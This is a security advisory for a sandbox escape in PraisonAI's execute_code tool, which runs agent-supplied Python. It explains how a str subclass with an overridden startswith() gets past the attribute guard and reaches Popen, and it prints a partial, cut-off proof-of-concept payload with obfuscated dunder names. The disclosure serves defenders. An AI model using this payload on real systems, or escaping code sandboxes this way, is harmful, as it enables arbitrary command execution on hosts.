CVE-2026-34938 — PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Affected: MervinPraison PraisonAI

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.

GHSA-6vh2-h83c-9294 — PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Affected: PyPI: praisonaiagents

### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ```

### PoC ```python

from praisonaiagents.tools.python_tools import execute_code

payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1

obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_att…

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CVE-2026-34938 — PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

GHSA-6vh2-h83c-9294 — PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code